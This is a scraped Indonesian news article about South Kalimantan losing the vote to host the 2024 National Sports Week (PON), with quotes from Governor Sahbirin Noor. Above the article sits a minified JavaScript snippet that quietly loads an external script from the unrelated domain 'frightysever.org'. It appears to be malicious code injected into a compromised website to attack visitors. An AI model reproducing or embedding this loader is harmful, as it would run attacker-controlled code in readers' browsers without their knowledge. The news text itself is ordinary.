(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Upaya Kalsel tampil sebagai tuan rumah Pekan Olahraga Nasional (PON) 2024 kandas usai kalah suara pada Musyawarah Olahgara Nasional Luar Biasa (Musornaslub) KONI Pusat di Jakarta, Selasa (24/4). Dari hasil voting, Kalsel hanya mendapatkan dua suara, Bali dan Nusa Tenggara Barat mendapat delapan suara, sedangkan Aceh dan Sumatera Utara (Sumut) meraih 24 suara.
Terkait hasil tersebut, Aceh dan Sumut yang mendapat suara terbesar otomatis akan diajukan sebagai tuan rumah PON 2024 mendatang. Hasil voting ini akan direkomendasikan ke Kementerian Pemuda dan Olahraga (Kemenpora) untuk selanjutnya diajukan ke Presiden.
“Kalsel telah berjuang optimal untuk memboyong PON ke-XXI tahun 2024 ke Banua. Segala upaya telah dilakukan dari menyiapkan sarana dan prasrana, termasuk meminta dukungan KONI se-Indonesia,†ujar Gubernur Kalsel, H Sahbirin Noor usai voting kepada wartawan.
Menurut Sahbirin, perjalanan panjang diusung Kalsel agar bisa menjadi tuan rumah PON. Keinginan itu bukan hanya keinginan gubernur semata, tetapi seluruh masyarakat yang dituangkan dalam RPJMD Kalsel 2016-2021 melalui Peraturan Daerah.
“Kalsel menjadi tuan rumah PON merupakan visi-misi pembangunan 2016-2021. Sebuah komitmen yang tertuang dalam dokumen resmi dan menjadi prioritas pembangunan,†tegasnya.
Apalagi, letak Kalsel yang berada di tengah wilayah Indonesia akan mudah dijangkau oleh seluruh provinsi. “Menuju ke Kalsel dari provinsi manapun, sangatlah mudah. Ditambah lagi Bandara Syamsudin Noor saat ini tengah dibangun dengan taraf internasional,†ujarnya.
Selain itu, pertimbangannya Kalsel menjadi provinsi di Indonesia yang relatif aman dari bencana alam. Pun kentalnya toleransi masyarakat yang sangat tinggi. “Komitmen kita jelas, bila dirunjuk Tuan Rumah maka seluruh atlet peserta PON dan Peparnas akan kami fasilitasi konsumsi, akomodasi, transportasi dari hotel menuju venue dan memasuki tempat wisata secara gratis. Kita mempunyai banyak tempat wisata, ada air terjun, ada pantai yang sangat indah, namanya pantai Sambergelap,†tandas Sahbirin.
PON merupakan ajang olahraga Nasional Indonesia yang diselenggarakan setiap empat tahun sekali oleh Komite Olahraga Nasional Indonesia (KONI). Pekan Olahraga Nasional yang dimulai sejak tahun 1948 ini diikuti oleh seluruh Provinsi di Indonesia. Pekan Olahraga Nasional (PON) yang pertama diselenggarakan pada tanggal 8 September 1948 hingga tanggal 12 September 1948 di Kota Solo dan diikuti oleh 600 atlet dengan 9 cabang olahraga. Pada tahun 2020 ini, akan diselenggarakan PON yang ke-20 di Kota Jayapura. (rendy)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.